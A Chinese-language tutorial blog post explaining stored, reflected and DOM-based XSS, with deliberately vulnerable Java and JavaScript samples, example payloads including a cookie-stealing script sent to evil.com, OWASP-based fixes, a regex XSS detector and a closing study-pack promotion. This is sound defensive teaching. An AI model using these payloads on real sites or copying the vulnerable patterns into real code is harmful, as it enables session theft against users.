在当今互联网高度发达的时代,Web应用已成为人们日常生活和企业运营中不可或缺的一部分。然而,随着功能的日益丰富,Web安全问题也愈发严峻。其中,跨站脚本攻击(XSS, Cross-Site Scripting) 是最常见、危害性极高的前端安全漏洞之一。
📚 目录
- 什么是 XSS?
- XSS 类型详解
- 存储型 XSS(Stored XSS)
- 反射型 XSS(Reflected XSS)
- DOM型 XSS(DOM-based XSS)
- 通用防御方法
- 小彩蛋:用 Java 写一个简单的 XSS 检测器!
✨ 什么是 XSS?
跨站脚本攻击(Cross-Site Scripting,简称 XSS),指的是攻击者将恶意 JavaScript 脚本注入网页,当用户浏览时,在用户浏览器中执行,达到窃取数据、劫持操作、破坏界面的目的。
用户以为访问的是网站,实际上执行的是黑客的脚本。
🚀 XSS 类型详解
1️⃣ 存储型 XSS(Stored XSS)
攻击者将恶意脚本提交到服务器(比如评论区、帖子等),服务器存储后,每次有人访问时,恶意代码都会被执行。
Java 漏洞示例(Servlet版)
java
@WebServlet("/comment")
public class CommentServlet extends HttpServlet {
private static List<String> comments = new ArrayList<>();
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
String comment = request.getParameter("comment");
comments.add(comment);
response.sendRedirect("/view-comments");
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
for (String comment : comments) {
out.println("<p>" + comment + "</p>");
}
}
}
攻击示例
攻击者提交:
html
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
浏览器访问评论区时,自动执行脚本,窃取 Cookie。
漏洞分析
- 输入未过滤
- 输出未编码
- 直接拼接到 HTML 中
修复示例
java
import org.owasp.encoder.Encode;
for (String comment : comments) {
out.println("<p>" + Encode.forHtml(comment) + "</p>");
}
使用 输出编码,确保 <、>
等字符不会被解释为 HTML
标签。
2️⃣ 反射型 XSS(Reflected XSS)
攻击者通过 URL 参数传递恶意脚本,服务器直接将参数返回到页面,导致脚本执行。
Java 漏洞示例
java
@WebServlet("/search")
public class SearchServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String keyword = request.getParameter("q");
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<h2>Search Results for: " + keyword + "</h2>");
}
}
攻击示例
访问:
http://example.com/search?q=<script>alert('XSS')</script>
网页内容直接变成:
html
<h2>Search Results for: <script>alert('XSS')</script></h2>
浏览器执行脚本。
漏洞分析
- 参数未验证
- 输出未转义
- 动态拼接 HTML 内容
修复示例
java
import org.owasp.encoder.Encode;
out.println("<h2>Search Results for: " + Encode.forHtml(keyword) + "</h2>");
或者在前端用安全标签,比如 JSP 的 <c:out>
自动转义输出。
3️⃣ DOM型XSS(DOM-based XSS)
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)
的一种漏洞,DOM-XSS是通过url
传入参数去控制触发的,其实也属于反射型XSS。
攻击流程
- 攻击者构造带恶意数据的链接
- 前端 JavaScript 解析 URL 参数
- 恶意脚本被注入到页面中
JavaScript 漏洞示例
html
<div id="msg"></div>
<script>
var params = new URLSearchParams(window.location.search);
var username = params.get('user');
document.getElementById('msg').innerHTML = "Welcome, " + username;
</script>
攻击示例
链接:
php-template
http://example.com/page.html?user=<img src=x onerror=alert('XSS')>
页面执行:
html
Welcome, <img src=x onerror=alert('XSS')>
弹窗提示,证明脚本注入成功。
漏洞分析
- 使用 innerHTML
- 无输入校验
- 浏览器直接解析成 DOM 节点
修复示例
javascript
document.getElementById('msg').textContent = "Welcome, " + username;
使用 textContent
防止 HTML
解析,从根源杜绝 DOM型 XSS。
🛡️ 通用防御方法总结
防御措施 | 说明 |
---|---|
输出编码 | 输出到 HTML 页面时,对内容进行 HTML Encode |
输入校验 | 检查并限制用户输入类型和长度 |
前端安全 API | 使用 textContent、setAttribute 等安全方法 |
安全库支持 | 使用 OWASP Java Encoder、Spring Security |
CSP安全策略 | 配置 Content-Security-Policy,限制脚本来源 |
🎁 小彩蛋:
用 Java 写一个简单的 XSS 检测器! 为了更好理解 XSS 注入原理,我们可以写一个简单的 XSS 检测小工具,快速扫描可疑输入!
简单版 Java XSS 检测器
java
import java.util.regex.Pattern;
public class XssDetector {
private static final Pattern[] patterns = new Pattern[]{
Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE),
Pattern.compile("src[\r\n]*=[\r\n]*\\'(.*?)\\'", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL),
Pattern.compile("</script>", Pattern.CASE_INSENSITIVE),
Pattern.compile("<script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL),
Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL)
};
public static boolean isXssAttack(String input) {
if (input != null) {
for (Pattern pattern : patterns) {
if (pattern.matcher(input).find()) {
returntrue;
}
}
}
returnfalse;
}
public static void main(String[] args) {
String suspiciousInput = "<script>alert('XSS')</script>";
if (isXssAttack(suspiciousInput)) {
System.out.println("⚠️ 检测到潜在的XSS攻击!");
} else {
System.out.println("✅ 输入安全。");
}
}
}
✨ 小总结
- 本检测器基于正则,快速检测常见XSS特征
- 实际生产中可以结合 WAF 和 自定义规则引擎 做更完善的检测
- 安全意识永远第一位,防御永远优于补救!
📢 结尾彩蛋
网络安全学习资源分享
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~